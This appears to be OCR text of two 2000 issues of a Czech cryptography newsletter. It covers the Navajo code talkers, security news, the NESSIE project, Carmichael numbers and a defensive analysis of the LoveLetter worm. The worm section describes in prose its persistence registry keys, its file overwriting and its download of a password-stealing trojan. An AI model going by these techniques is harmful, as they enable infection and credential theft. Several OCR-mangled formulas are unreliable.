jejich obtiznou feci. Byl tak jeden z mala asi tficeti bélochi, ktefi tuto fe¢ ovladali. Indidni z
tohoto kmene zili velice izolovan¢ a nekomunikovali ani s ostatnimi indidnskymi kmeny.
Uvédomoval si, ze fe¢ Navaju je velice obtizna, a to piedevs§im svoji specidlni vyslovnosti.
Naptiklad samohlasky indiani vyslovovali deseti velice podobnymi zptisoby. Re¢ neméla
psanou podobu, ale kdyby byla slova zapsana, bylo by nutné oznacit tyto rozdily ve
vyslovnosti. Prosty ptepis nékolika rozdilnych slov tak totiz mohl byt identicky (napf. "bito"
je voda a "bitd" je pomerancova Stava, "bita" je mezi a "bita" je kiidlo).

Tabulka ¢.1 : Mozna vyslovnost hlasky "a"

a- short and low in pitch
aa-  long and low in pitch
a- a rise in pitch and short
aa-  arise in pitch and long
a- short, high and nasal

a- short and nasal

aa-  long, high and nasal
aa-  long and nasal

aa-  falling tone

aa-  falling nasal

Pravé tato vlastnost se zdala Philipu Johnstonovi velice vhodna pro tajnou
komunikaci. Ptepis zachycené komunikace je pro netrénovaného clovéka bez znalosti
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vyznamu slov v podstaté nemozny. Re¢ Navaji méla jeitd jednu vyzna¢nou vlastnost -
nepiebirala slova z jinych jazyki a pro nova slova si volili vlastni kombinace.

V bieznu 1942 se Philipu Johnstonovi podafilo pfemluvit generala Claytona B.Vogela,
aby mu umoznil pfedvést vyuziti utajeného pienosu pomoci indidnskych mluv¢ich. Béhem
prezentace Navajové pienesli bez chyby tii fadkovou zpravu béhem dvaceti vtetin. Pfi pouziti
kryptografického zafizeni, které namotnictvo pouzivalo, trval cely ptenos zaSifrovani,
prenosu a desifrovani tficet minut. Na konci prezentace bylo vSem pfitomnym vysvétleno, ze
v readlném provozu nebude jen pouzit pieklad do indidnské feci, ale bude vytvotrena kodova
kniha v indidnské feci, ktera se bude pii pfenosu pouzivat. Prezentace byla uspésna a Philip
Johnston dostal za kol vycvicit prvnich tficet indidnt a vytvofit kodovou knihu. Pilotni
program mohl zacit.

Ziskat tricet vhodnych rekruti nebylo vsak jednoduché. (V roce 1942 7zilo ptiblizné
50 000 Navaja, v roce 1945 slouzilo u namotnictva 540 indidnd - ne vSichni ale jako "code
talkers", téch bylo podle riznych udaji néco mezi 375 az 420). PredevSim zde byla jazykova
bariéra - fada indiani totiz neuméla anglicky. Rada indiant také jit do valky za bé&lochy
nechtéla - jesté stidle doznivala vzpominka na utrpeni jejich dédi. Navajové po prohrané
indidnské valce v roce 1860-63 se museli prestéhovat o 300 mili dale k pevnosti Fort Sumner,
kde méli byt prevychovani a zcivilizovani. Tento pochod indidni nazyvali "Long Walk".
Pochod byl nesmirn& obtizny a mnoho indianti béhem n&j zemielo. Rada indianti méla zajem
pomoci, ale komisi, ktera je odvadéla, se zdali pfili§ mladi. Indiani neméli zddné doklady a
nevedéli, kdy se narodili. Vypravi se historka, Ze komise indidny jednoduSe vazila a kdo byl
prilis lehky, toho neodvedla. Indidni nevédeli, kam maji byt odvedeni. Popletli si slova marine
(ndmofnictvo) a submarine (ponorka) a hrozné se bali, Ze ptijdou slouzit pod vodu. Indiani
byli nejprve odvedeni do sbérného tabora, kde byli cvi¢eni v béznych vojenskych
dovednostech. Seznamovali je s technikou (vCetné zapalek, radia, vysilacky). Indiani nebyli
dobrymi vojaky (dle velitelt), nechéapali, pro¢ museji poslouchat své nadtizené, opoustéli
kasarna, v noci nékolikrate vykradli kantynu, zajimali se o Zeny dustojniki, jejich hygiena
nebyla valna, vojenské boty necistili a na ndstup chodili ustrojeni podle pocasi. Ti, kteti prosli
timto vstupnim tadborem se dostali do tdbora Pendleton, blizko San Diega. Zde zacal jejich
vycvik spojafii.

Spole¢né s 29-ti prvnimi Navaji vytvofil Philip Johnston prvni kodovou knihu.
Obsahovala néco malo pfes dvé sté slov. Kniha obsahovala hlaskovou abecedu,
nejpouzivanéj$i ndzvy zbrani, nazvy statd a nejpouzivanéjsi vojenské terminy. Slova byla
volena tak, aby si je indiani dobfe zapamatovali.

Hlaskova abeceda byla vytvotena podle tohoto schématu :
A - slovo v angli¢tin€ od A - ant (mravenec) kod : Wol-La-Che (mravenec v fec€i Navaja).
Tedy kdykoliv bylo pouzito slovo Wol-La-Che znamenalo to pismeno A.

Nazvy statt byly také pro indidny lehce zapamatovatelné :
Amerika - naSe matka , Afrika - ¢erni, Aljaska - zima, Japonsko - Sikmé oci.

Nektera slova byla vybrana na zakladé souzvuku , tedy tak, aby si je indidni lehce
pamatovali:

Dispatch - dog is patch (samoziejmé feceno indianskou teci)
Belong - long bee , district - deer is strict atd.

Nazvy zbrani, které indiani neznali, byly kédovany podle "podobnosti" :

Letadlo - ptak, bomba - vejce, lod’ - ryba atd.

Na konci pilotniho projektu (po vycviku prvnich tficeti muzil) byla opét provedena
prezentace. Tentokrate se ji zacastnili i ameriCti kryptologové. Zvukové zaznamy, které jim
predlozili, nebyli schopni zafadit a piepsat do spravného textu. K jazyku se vyjadfili, ze
piipominad nejspiSe hebrejstinu. Po sezndmeni se s kddovou knihou bylo doporuceno ji
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rozsitit. Pfedevsim bylo ke kazdému pismenu zavedeno vice slov. Rozsifen byl i slovnik o

dalsi frekventni slova. Nasazeni systému vSak bylo schvaleno.

Kodové kniha byla podle téchto pfipominek upravena a byla rozsitena na 450 vyrazi.

Priloha €.2: Ukéazka zacatku hlaskovaci tabulky

Pismeno kod pomocné slovo
A WOL-LA-CHEE ANT

A BE-LA-SANA APPLE

A TSE-NILL AXE

B NA-HASH-CHID BADGER
B SHUSH BEAR

B TOISH-JEH BARREL
C MOASI CAT

C TLA-GIN COAL

C BA-GOSHI CoOw

D BE DEER

D CHINDI DEVIL

D LHA-CHA-EH DOG

Photo of Navajo Code Talkers in formation at Camp Pendelton, California
Local call number Philip JTohnston Physical deseription Black-and-white photograph, 8 x13.5 em. Reproduction
tequites pettission of the tepositoty.

Vycvik indiana v taboie Pendelton

Indidni byli zacatkem roku 1943 pfipraveni k nasazeni k namoinim divizim a dale bylo
rozhodnuto o piijeti dalSich stovek novych rekrutti, urenych pro vycvik v piendSeni
koédovych zprav.

Cely program byl piisné€ tajny a jen malo lidi védélo, o co opravdu jde. Americané, ktefi
zachytili vysilani Navaju, si napf. ¢asto mysleli, Ze se jedna o vysilani Japoncti na americké
frekvenci.

Pokracovani piisté : Dil III. : Od Iwo Jimy k mluvici loutce firmy Hasbro
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F. Letem Sifrovym svétem

1.

Ve dnech 30.-31.kvétna 2000 se bude konat v Micovné Prazského hradu mezinarodni
konference - Finan¢ni sluzby ve virtualnim prostfedi.. Hlavni pfednasky ptednesou :
L.Strous (Nizozemi) : Audit IS a informac¢ni bezpecnost v De Nederlandsche Bank
S.Katsikas (Recko): Role PKI v E-Commerce.

Z Ceskych odbornikil zde promluvi:

T.Ivanovsky - Finanéni sluzby prostfednictvim mobilnich telefont

Z Kaplan - Rizeni bezpeénosti na urovni vrcholovych vedoucich pracovniki.
V.Matyas - Biometrie

E.Rackova, F.Stolle - Penetracni testovani - praktické zkuSenosti.

Konferenci potada spolecnost Tate International, s.r.o., vydavatel ¢asopisu DSM.
Dalsi informace tel.: 02/57920319-20, http://www.dsm.tate.cz

V sesit¢ 2/2000 jsme otiskli dikaz Velké Fermatovy véty (FLT), ktery predlozil
vetejnosti 23.1.2000 k odborné diskusi profesor Victor Sorokin. Tento dikaz byl
zajimavy predev§im proto, ze byl zalozen Cisté na algebraickych tvrzenich a byl
sympaticky kratky. V soucasné dobé¢ jediny uznany dikaz FLT od Andrew Willese (z
roku 1994) je znatné komplikovany a je zaloZen na ditkkaze Taniyamovy-Shimurovy
hypotézy o modularnich formach eliptickych kfivek (podrobnosti viz napf. seSit
2/2000). Dikaz Victora Sorokina, jak néktefi doufali, mohl pfipominat mySlenkovy
postup Pierre de Fermata pii formulaci tohoto slavného problému. Bohuzel se ukazalo,
ze v predloZzeném dikazu je chyba. Chybu jako prvy objevil Paul Dreyer. Profesor
Sorokin se pokusil chybu odstranit, ale nakonec béhem btezna rezignoval a G¢astnikiim
diskusni skupiny rozeslal e-mail, ve kterém ptiznava, Ze dikaz je chybny a problém, na
ktery byl upozornén, nelze odstranit (v jednom okamziku byla rovnice zaménéna za
identitu).

Evropské Unie stanovi nova - volnéjsi pravidla pro vyvoz kryptografickych prostiedki!
Evropska unie odsouhlasila uvolnéni pravidel pro vyvoz kryptografickych zatizeni do
25-ti zemi svéta (15 zemi EU a dale 10 jinych zemi -- USA, Japonsko, Kanada,
gvycarsko, Australie, Novy Zéland, Norsko, Ceska republika, Mad’arsko a Polsko).
Staty, do nichZ je povolen vyvoz, dohromady tvoii vice nez 80% svétového trhu s
kryptografickymi zafizenimi. Toto uvolnéni opét stavi vyvozce z USA do nevyhodnéjsi
pozice neZz vyvozce EU a to 1 pfes zna¢né uvolnénd pravidla vyvozu USA, kterd byla
schvalena letos v lednu.

Wall Street Journal 28.4.2000,
http://interactive.wsj.com/articles/SB956867771608897487.htm

IACR (International Association for Cryptologic Research, organizator konferenci
EUROCRYPT a CRYPTO), zavedla na své webovské strance novou sluzbu. Jedna se o
tzv. kryptologicky archiv, kde jsou uklddany v elektronické podob€ vyznamné ¢lanky,
které poskytli k vefejnému pouziti Clenové IACR. Presna URL adresa je
http://eprint.iacr.org/2000/
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5. Na konferenci Fast Software Encryption Workshop 2000 (10.-12.4.2000, New York
City) publikoval Adi Shamir, Alex Biryukov a David Wagner novy utok na silng;si
verzi $ifrového algoritmu AS5/1, ktery se pouzivad ve 130 milionech GSM mobilnich
telefonti, véetn& CR. Dfive publikovany utok vyzadoval zdznam 2 minut $ifrového
spojeni a naslednou analyzou (doba 1 s) byl ziskan kli¢. Nové publikovany tutok
umoznuje ze zdznamu dvou vtefin spojeni (!) ziskat kli¢. Analyza trvd cca 4 minuty a
vyzaduje bézné PC (500 Mhz) vybavené 4 pevnymi disky, kazdy o kapacité¢ 73 GB.
Jejich pfednaska je dostupnd od 27.4.2000 na adrese : http://cryptome.org/aS.ps ,
http://cryptome.or/aS.zip Nékteré zakladni informace o predchozim itoku jsou dostupné
1 v naSem sesité 1/2000 (Soukromi uzivateli GSM ohroZeno).

6.  ZDnet zvetejnil obsah tajné interni zpravy Microsoftu, ze které vyplyva nutnost opravit
pres 63 000 chyb ve Windows 2000. Marc Lucovsky, vedouci vyvojového tymu
Windows, rozeslal svym podiizenym vyzvu k urychlenému opraveni desitek tisic chyb
ve findlnim kodu Windows 2000. Podle zpravy obsahuji Windows 2000 celkem 21 000
odloZenych chyb, které mohou zptisobit vazné problémy nebo jenom dé€laji néco jiného,
nez by mély; 27 000 chyb se tyka Spatné optimalizace a nedodélk. Pfi nakupu
Windows 2000 se tedy miiZzete setkat celkem s 65 000 potenciondlnimi problémy, z
nichz 28 000 miize podle odbornikii zplsobit redlnou hrozbu k ohrozeni vasich dat.
Zdroj : Mery Jo Foley , "Can Microsoft squash 63,000 bugs in Win2K?"
http://www.zdnet.com/pcweek/stories/news/0.4153.2436920,00.html

7.  Ptiblizné v plilce dubna se rozhotela nova medialni aféra (informace na News.COM a
ZDNN ) , ktera nejdiive vinila Microsoft ze zabudovani zadnich vratek do produktu
FrontPage97 (mozna i Frontpage98). Co bylo podstatou ? Soucasti FP97 a FP9§
instalace je knihovna Dvwssr.dll - nachazi se vzdy ve v_vti_bin/ vti_aut adresaii a je
tedy piistupnd z Internetu. Zaroven je tento modul zodpovédny za browsing funkci (t;.
prohlizeni obsahi FP webt). Praveé v této knihovné lze najit text (dle prvnich tvrzeni
univerzalni heslo) "Netscape engineers are weenies!" . Pochopitelné se ukdzalo, ze o
zadni vratka nejde. Tento text vepsal do zdrojového koédu jeden z programatora, ktery
byl jiz unaven soubojem mezi firmou Microsoft a Netscape a chtél "zesmésnit" své
protihra¢e u Netscapu. Celd aféra méla 1 kladnou stranku - béhem '"propirani"
bezpecnosti tohoto produktu bylo objeveno nékolik vyznamnych slabin tohoto produktu
a doufejme, ze budou brzy odstranény.Chci vSak upozornit jesté¢ na jeden aspekt celé
"aféry" a to z hlediska bezpecnosti. Je potieba si polozit otazku, jak funguje "vystupni"
kontrola u Microsoftu. Opravdu si mize kazdy programator do zdrojového textu zatadit,
co se mu zlibi? Nebo jsou jiz zdrojové texty tak slozité, ze efektivni kontrola neni
mozna? Ob& moznosti jsou z hlediska bezpecnosti znepokojujici a naznacuji, ze
Microsoft své produkty chape pfedevsim jako produkty komeréni a bezpecnost je az na
dal$im miste.

8.  V dob¢, kdy dopisuji tento seSit, fadi ve svété novy virus I Love You (a jeho roztomilé
mutace). Vzhledem k medialni popularité k nému asi moc nového nenapisi. Uvedu tedy
alespon uziteCnou adresu : http://servery.cz/index.php3?include=virus.inc , kde je
ulozen navod na jeho odstranéni z napadeného PC.

Crypto - World 2000 55


http://cryptome.org/a5.ps
http://cryptome.or/a5.zip
http://www.zdnet.com/pcweek/stories/news/0,4153,2436920,00.html
http://servery.cz/index.php3?include=virus.inc

Informacni seSit GCUCMP
Crypto-World 6/2000

Pripravil : Mgr.Pavel Vondruska,
¢len GCUCMP, IACR, ISACA.
Sesit je rozesilan registrovanym ¢tenaiam,
registrace na adrese pavel.vondruska@post.cz , subject : Crypto-World
seSity najdete také na adrese www.mujweb.cz/veda/gcucmp
(116 e-mail vytisku)
Uzavérka 10.6.2000

My
=

OBSAH : Str.

A. Nova evropska iniciativa v oblasti kryptografie (J.Pinkava) 2

B. Fermativ test primality, Carmichaelova ¢isla, bezétvercova ¢isla
(P.Vondruska) 3-5

C.Cerv LOVE-LETTER-FOR-YOU.TXT.VBS (P.Vondruska) 6-8

D.EUROCRYPT 2000 (P.Vondruska) 9-11

E. Code Talkers (I11.dil) (P.Vondruska) 12-14

F. Letem Sifrovym svétem 15

+ priloha : Navajo Code Talkers , revize z 15.6.1945, soubor

Dictionary.htm

Crypto - World 2000 56




A.Nova evropska iniciativa v oblasti kryptografie
Ing. Jaroslav Pinkava, CSc. (AEC, spol. s r.o.)

V druhé poloving kvétna se objevila na webu informace o nové aktivité v ramci
Evropské Unie. Jedna se o projekt NESSIE (New European Schemes for Signature, Integrity,
and Encryption) programu IST Evropské komise (http://cryptonessie.org).

NESSIE je trilety projekt, ktery byl zahdjen 1.ledna 2000. Jeho hlavnim cilem je
pfinést celé ,portfolio“ bezpeénych kryptografickych modelit (tzv. ,kryptografickych
primitiva®), které¢ 1ze pak pouzivat v ramci riznych technologickych platforem. Jednotlivé
modely budou vytvafeny na zaklad¢ vefejnych navrhi a rovnéz tak vyhodnoceni téchto
navrhii probéhne otevienou a transparentni cestou. Celkova koncepce tohoto portfolia je
podstatné Sir§i nez obdobny projekt AES (Advanced Encryption Standard ), ktery fidi
americky NIST. Projekt zaroven navazuje na jiz ziskané vysledky vramci evropskych
struktur. Zde lze zminit napt. Smérnici Evropské Unie pro elektronicky podpis nebo Cerstvé
vydanou (kvéten 2000) normu k formatim elektronickych podpisit — Electronic Signature
Formats, ETSI 201 733.

Celkem se jedna o nasledujicich deset tfid kryptografickych primitivi:

Blokové sifry

Synchronni proudové Sifry
Samosynchronizujici se proudové Sifry
Autentizacni kody zprav (MAC)
Hashovaci funkce rezistantni vii¢i kolizim
Jednosmérné hashovaci funkce
Pseudonahodné funkce

Asymetrickd schémata pro Sifrovani
Asymetrickd schémata pro digitalni podpis
O Asymetrickd schémata pro identifikaci

_‘\OPO.\‘.O\.U‘PE“.N.*‘

V ramci kazdé tfidy budou existovat dvé bezpecnostni trovné (normdlni a vysoka),
s vyjimkou blokovych Sifer, kde bude jesté tieti uroven (historickd-normalni). Tj. napiiklad
blokové Sifry vysoké bezpe€nostni urovné maji pracovat s bloky textu v délce 128 bith a s
klicem nejméné v délce 256 bitl. Blokové Sifry normalni bezpe¢nostni Girovné pracuji rovnéz
s bloky otevieného textu v délce 128 bitli a musi mit kli¢ dlouhy nejméné 128 bitl. Zminéna
tieti uroven ponechdva moznost existence blokovych Sifer, které pracuji s bloky otevieného
textu v délce 64 bitl (jako je tomu u vétSiny soucasnych algoritmil). Délka klice i u této treti
urovné vSak musi byt minimaln¢ 128 bitd.
Vyhodnoceni jednotlivych navrhil bude probihat na zdkladé:
a) bezpecnostnich kriterii (obtiznost utoki, zdiivodnéni bezpecénosti,...)
b) implementacnich kriterii (software, hardware, naroky na objem paméti,
spolehlivost,...)
c) dalSich kriterii, jako je jednoduchost a ziejmost navrhu atd.

V ramci prvniho kola, které konci v zaii 2000, maji byt odevzdany vychozi navrhy.
V fijnu pak bude nasledovat jejich prvni projednani v ramci prvni ,,Jochneské* konference.

Jednim ze zékladnich cilll projektu je také posilit pozice evropského kryptografického
pramyslu v ndvaznosti na vysledky evropského vyzkumu. Nesporné jsou vyzna¢né dopady na
celou kryptografickou praxi.
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B. Fermatiiv test primality, Carmichelova Cisla, bez¢tvercova ¢isla
Mgr. Pavel Vondruska (NBU)

Cast .

Soucasné moderni kryptosystémy s vefejnym klicem se opiraji o fadu vysledka
z teorie Cisel. Mimo teoretického studia, které je nezbytné z hlediska zdivodnéni samotného
principu bezpecnosti a odolnosti systému, je zde i1 fada praktickych problému. Piikladem
muze byt potieba rychle vygenerovat velka prvocisla. Zpravidla ktomu slouzi
pravdépodobnostni testy jako napi. Solovay-Strassentv test, Lehmanniv test, Rabin-Millertv
test a Fermativ test. Kromé pravdépodobnostnich algoritmt k testovani prvociselnosti existuji
1 postupy, které umoznuji poné¢kud vice. V ptipadé, ze p je skutecné prvocislo, pak existuji
algoritmy, které toto dokazi. Toto umoziiuje Cohen-Lenstriv test a Atkin-Moraintiv test.
Z davodu rychlosti se vSak v praxi pouZzivaji pouze pravdépodobnostni testy a velké prvocislo
se vygeneruje pouze spfedem zvolenou , dostatecnou pravdépodobnosti. Pro svoji
jednoduchost se také stale jeste¢ implementuje Fermatlv test primality.

Fermatiiv test primality

Tento test je zaloZen na platnosti tzv. Malé Fermatovy véty.
JestliZe p je prvocislo a ¢islo a je libovolné pfirozené ¢islo mensi jak p, pak a’=a mod p.

O platnosti tohoto tvrzeni se zminuje poprvé Fermat 18.10.1640 ve svém dopise Freniclovi.
Pro ptesnost uved’'me, ze uvadi jinou — ekvivalentni formulaci :

Je-li p prvocislo, pak p déli a”' — 1 pro viechna a, ktera nejsou d&litelna p.

Jak Ize vyuzit tuto vétu pro generovani prvocisel ?

Méame dané n > 1, zvolime a > 1 a spoéteme pak a™' mod n. Pokud vysledek je rtizny od
jedné, pak n neni prvocislo. Pokud vsak vysledek je roven jedné, pak to jesté neznamena, Ze n
je prvocislo. Vezmeme jiné ¢islo a provedeme cely test znovu.

Pokud by nékdo tento test programoval, doporu¢ujeme pro volbu n pouzit zndmé technické
finty :

- vygenerujeme dostatecné velké Cislo (napt. 1024 bitil)

- bity nejvyssiho a nejnizsiho fadu musi byt jednicka (jednicka na nejvys$im fadu zaruci, Ze

- provéfime, Ze ¢islo n neni délitelné malymi prvocisly : 3,5,7,11, ..., 251

Nyni provedeme vySe popsany Fermativ test sndhodné zvolenym a. Jestlize n splni
podminku testu (a""' =1 mod n ), vygenerujeme jiné nahodné &islo a a s nim test zopakujeme.
Toto provadime opakované, podle vyzadované presnosti..

Takto ziskané ¢islo n prohlasime za prvocislo.
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Je ziejmé, ze zvySujeme-li pocet voleb Cisla a, zvySuje se pravdépodobnost, Ze nami
vygenerované ¢islo n je prvocislo.

Ukézalo se vsak, Ze existuji takova n (kterd nejsou prvocisly), pro kterd Fermativ test je
splnén pfi libovolné volbé a. Tato slozena Cisla se nazyvaji Carmichaelova ¢isla.

Carmichaelova ¢isla

Cislo n nazveme Carmichaelovo &islo, pokud spliiuje malou Fermatovu vétu pro libovolnou
volbu baze a . Tedy a™' — 1 = 0 (mod n) pro kazdou volbu 1 <a < n.

Tato ¢isla se nékdy nazyvaji absolutni pseudoprvocisla. Nazyvaji se podle R.D.Carmichaela,
ktery o jejich existenci napsal prvou praci. Bylo to v roce 1910 a sam Carmichael spocital 15
ptikladii takovych ¢isel. Predpovedél, Ze jich je nekone¢né mnoho.

Postupné byla nalezena vSechna Carmichaelova ¢isla mensi nez 100 000. Jsou to tato
Cisla:
561, 1105, 1729, 2465, 2821, 6601, 8911, 10585, 15841, 29341, 41041, 46657, 52633, 62745,
63973 a 75361 .

V roce 1939 Chernik zjistil, Ze pokud ¢isla p = 6m+1, g=12m+1 a r=18m +1 jsou
prvocisla, tak ¢islo pqr je Carmichaelovo prvocislo. Diikaz je velice jednoduchy :

N = (6m+1)*(12m+1)*(18m+1) = 1296m’ + 396m>+ 36m +1

N-1 je nasobek 36m a dale je zfejmé 36m nejmensi spolecny nadsobek 6m, 12m, 18m
a!'= 1 mod pro kazdé z prvoéisel 6m+1, 12m+1 a 8m +1

atedy 2" '= 1 mod ((6m+1)*( 12m+1)* (8m +1))

Pomoci tohoto postupu byla nalezena n¢ktera Carmichaelova ¢isla tohoto specialniho tvaru.
Carmichaelova cisla tak Ize ziskat pro m=1, 6, 35, 45, 51, 55, 56, ...

Odpovidajici ¢isla potom jsou : 1729, 294409, 56052361, 118901521, ...

V lednu 1999 bylo takto ziskdno nejvétsi znamé Carmichaelovo ¢islo a to pro hodnotu m=
133752260%3003* 10'°** . Faktory tohoto &isla N maji 1616, 1616 a 1617 cifer.

vvvvvv

(1956), Alford (1994), Hoftman (1998) a Pinch a Dubner (1989-1998).

Z jejich vysledkti vyplynulo, ze Carmichaelovych ¢isel je skute¢né nekone¢né mnoho a Ze
neexistuje rozklad Zadného Carmichaelova ¢isla na dva Cinitele.

Nejmensi Carmichaelovo ¢islo, které ma rozklad na :
3 Cinitele je : 561 =3*11*17 .

4 Cinitele je : 41041 =7*11*13*41

5 Cinitelt je : 825265 = 5*7*17*19*73

6 Cinitelt je : 321197185 =5*19*23*29*37*137
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Dosud nejvétsi znama Carmichaelova Cisla, kterd maji rozklad na :

3 Cinitele je ¢islos 10 200 ciframi
4 Cinitele je Cislos 2 467 ciframi
5 Cinitelt je Cislos 1 015 ciframi
6 Cinitelt je Cislos 827 ciframi

Richard Pinch (1993) uvadi uplny seznam viech Carmichaelovych &isel mensich nez 10'°.
Odtud vyplyva, Ze Carmichaelovych ¢isel mensich nez

10°  je 43

10" je 2163
107 je 105 212
10" je 246 683

V roce 1994 Alford odvodil odhad pro poc¢et Carmichaelovych ¢isel C(n).

Pro dostate¢né velka n (fadové n = 107) plati : C (n) n

2/7

Zavérem uvedeme, ze Carmichaelova Cisla maji nasledujici vlastnosti :

1.

2.
3.

JestliZ p je prvocislo, které déli Carmichaelovo ¢islo n, potom zn =1 (mod p-1) plyne , Ze
n = p (mod p(p-1)).

Kazdé Carmichaelovo cislo je bezctvercové.

Liché sloZzené bezltvercové Cislo n je Carmichaelovo ¢islo pravé tehdy kdyz n déli
jmenovatele Bernoulliho ¢isla By,

Z teoretického hlediska je nejzajimavéj$i druhd vlastnost. Prist¢ si fekneme, co vlastné
bezctvercova Cisla jsou a jaky je jejich vyznam v teorii ¢isel a pro kryptologii.

Literatura :

1.
2.
3.

10.

Jaroslav Pinkava, Uvod do kryptologie, http:/www.aec.cz

Ptibyl,LKodl, Ochrana dat v informatice, CVUT 1996

Alford, W. R.; Granville, A.; and Pomerance, C. ""There are Infinitely Many Carmichael
Numbers." Ann. Math. 139, 703-722, 1994.

Dubner, H. ""A New Method for Producing Large Carmichael Numbers." Math. Comput.
53,411-414, 1989.

Guy, R. K. "*Carmichael Numbers." §A13 in Unsolved Problems in Number Theory, 2nd
ed. New York: Springer-Verlag, pp. 30-32, 1994.

Hoffman, P. The Man Who Loved Only Numbers: The Story of Paul Erdos and the Search
for Mathematical Truth. New York: Hyperion, pp. 182-183, 1998.

Pinch, R. G. E. ftp://emu.pmms.cam.ac.uk/pub/Carmichael

Ribenboim, P. The New Book of Prime Number Records. New York: Springer-Verlag,
pp. 118-125, 1996.

Shanks, D. Solved and Unsolved Problems in Number Theory, 4th ed. New York:
Chelsea, p. 116, 1993.

Sloane, N. J. A. Sequences A002997/M5462, A006931/M5463, A033502, and A046025
in "An On-Line Version of the Encyclopedia of Integer Sequences."
http://www.research.att.com/~njas/sequences/eisonline.html

Crypto - World 2000 60


http://www.aec.cz
ftp://emu.pmms.cam.ac.uk/pub/Carmichael
http://www.research.att.com/~njas/sequences/eisonline.html

C. Cerv LOVE-LETTER-FOR-YOU.TXT.VBS
Mgr. Pavel Vondruska, NBU

Worm (¢erv) I LOVE YOU (LoveLetter) se stal opravdovym medialnim hitem tohoto
jara. Objevil se 4.kvétna a béhem nékolika malo hodin zasahl celou Asii a Evropu a jen o
malo hodin pozdé¢ji i Ameriku. Love Letter je worm napsany ve VBS (Visual Basic Script) .
Si¥i se v e-mailech, ke kterym se piipojuje ve formé souboru LOVE-LETTER-FOR-
YOU.TXT.VBS (kolem 10 KB). Subjekt "infikované" e-mailové zpravy zni: "ILOVEYOU".
V téle zpravy je obsazen text: "kindly check the attached LOVELETTER coming from me.".
"Dvojitd" piipona u souboru vyuziva toho, ze v nékterych klientech neni ¢ast za druhou
teCkou viditelnd. Piijemce si pak mysli, Ze je to obycejny textovy soubor (TXT) a s pocitem
bezpeci a notnou davkou zvédavosti jej otevie. Pro Sifeni potfebuje tento worm program MS
Outlook - odtud se jednoduse sam rozesle na dalsi e-mailové adresy, které najde v adresafi. Po
spusténi souboru LOVE-LETTER-FOR-YOU.TXT.VBS se cerv zabydli v pocitaci (proto je
to Cerv, nikoliv virus).

Vytvoii nové klice v registrech:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL

V adresaii C:\WINDOWS\SYSTEM pak dale vytvoti soubory MSKERNEL32.VBS a
Win32DLL.VBS. Na pevnych 1 sitovych discich vyhledava soubory s ptiponou VBS, VBE,
JS, JSE, CSS, WSH, SCT, HTA, jejichz obsah piepise svym télem a pfiponu zméni na VBS.
V piipadé¢ soubori s piiponou JPG ¢i JPEG je vytvotena "dvojitd" ptipona - plivodni + .VBS.
Se soubory s piiponou MP2 a MP3 pracuje Cerv jinak - nejprve vytvoii kopie téchto soubort -
ty pak nésledné¢ prepiSe vlastnim télem a vytvoifi na nich "dvojitou" ptiponu
(ptivodni_nédzev.MP3.VBS). Atribut téchto souborti je zménén na hidden. Pokud neexistuje
soubor C:\WINDOWS\WINFAT32.EXE, nastavi domovskou stranku Internet Exploreru tak,
aby ze serveru http://www.skyinet.net/~ stahoval soubor WIN-BUGSFIX.EXE. Tento soubor
obsahuje trojského koné (program, o jehoZ ¢innosti vlastnik PC nic nevi). Po aktivaci se tento
trojsky kun usadi pravé do souboru WINFAT32.EXE a na adresu na Filipinach se snazi ptes
e-mail odesilat nakradend senzitivni data (uzivatelské jméno, IP, hesla atd.). Tato adresa také
samoziejmeé pomohla odhalit a obvinit potencidlniho pachatele.

Cerv I LOVE_YOU mize nasledné dorazit na vase PC i pies IRC. Pokud VBS:
LoveLetter nalezne klienta mIRC, pfepiSe soubor ,,mirc.ini* a pak je schopen poslat sdm sebe
ostatnim uzivatelim IRC.

Podle vseho se zda, ze autor nechtél zahltit sit’ a ochromit provoz servert prakticky na
celém svété. Pravdépodobné pouze chtél pomoci svého Cerva dopravit do pocitacii trojského
kon¢ a pomoci n¢j ziskat hesla a tedy nadvladu nad cizimi pocitaci. To mohl nasledné vyuzit
napt. 1 ke svému obohaceni (uzavirani e-obchodli apod.). Ziejmé netusil, ze jeho utok
vyuzivajici psychologii bézného uzivatele e-mailové posty bude mit takovy ,,uspéch®.

Po originalnim ¢ervu se velice rychle objevila fada variant a modifikaci. ,,Autofi*
jednoduse original lehce upravili a nova varianta byla na svété. Nékteré ,,varianty* spocivaly
pouze v prepsani textll a jmen, jiné byly damysIngjsi. Psychologicky natlak na uzivatele, ktery
musi aktivné spolupracovat — oteviit prilohu, se ménil. Jedna varianta zasila vtip, jind varianta
se tvaii jako zprava od Symantecu a zasila idajné upozornéni na LoveLetter. Nejzajimavejsi
je ta, kterd oznamuje stazeni 326 USD z kreditni karty a zada o vytisténi ptfiloZzené faktury.
Variant tohoto ¢erva se objevilo nékolik desitek.
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LoveLetter predstavuje novou generaci nebezpecnych programii. Rozsifil se velice
rychle a napachal obrovské skody. Vyuziva bezpecnostnich dér v opera¢nim systému a
aplikacich a dale psychologicky prvek, kterym donutil uZivatele ke spolupraci. Jiz jsme se
zminili, ze tim, Ze ve Windows nejsou implicitné znadmé piipony souborl zobrazovany, fada
uzivatelii pfiponu .vbs u wormu nevidéla a otevirala jej v domnéni, Ze se jednd o textovy
soubor. Dalsimi problémy, které mizeme jmenovat, jsou : implicitni instalace Windows
scripting Host, provazanost aplikaci, pfili§ silny jazyk VBS, nemoZnost odd¢lit nastaveni
bezpecnosti jinak pro Explorer a jinak pro postovni klienty, implementace HTML a VBS do
postovnich klientli, spousténi kodd (programy, skripty) piimo z poStovnich klientd atd.
Doufejme, Ze vyrobci a autofi aplikacnich programi (a predevsim Microsoft) zareaguji
velice rychle a potencidlni bezpecnostni diry budou odstranény. Obavam se vSak, Ze soucasny
trend — maximalni jednoduchost pro uzivatele, absolutni provazanost aplikaci, kompatibilita
témeéf na urovni binarnich dat, silné makrojazyky, rozsiteni VBS atd., pfedpoklad, ze uZivatel
je nejstastnéjsi, kdyz muze jenom ,klikat“ mysi a neni nucen piemyslet, mize vést
v budoucnu k jesté vétSim problémlim ... KLIK.

Zde mél byt pavodné cely ,,zdrojovy kod“ LOVE-LETTER-FOR-YOU.TXT.VBS ,
ale vzhledem k jeho délce (10 kb, cca 5 stran A4) a vzhledem k tomu, ze by po malé
modifikaci mohl vzniknout dals$i virus :-) , jsem se rozhodl umistit jen zacatek z tohoto kodu.

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines

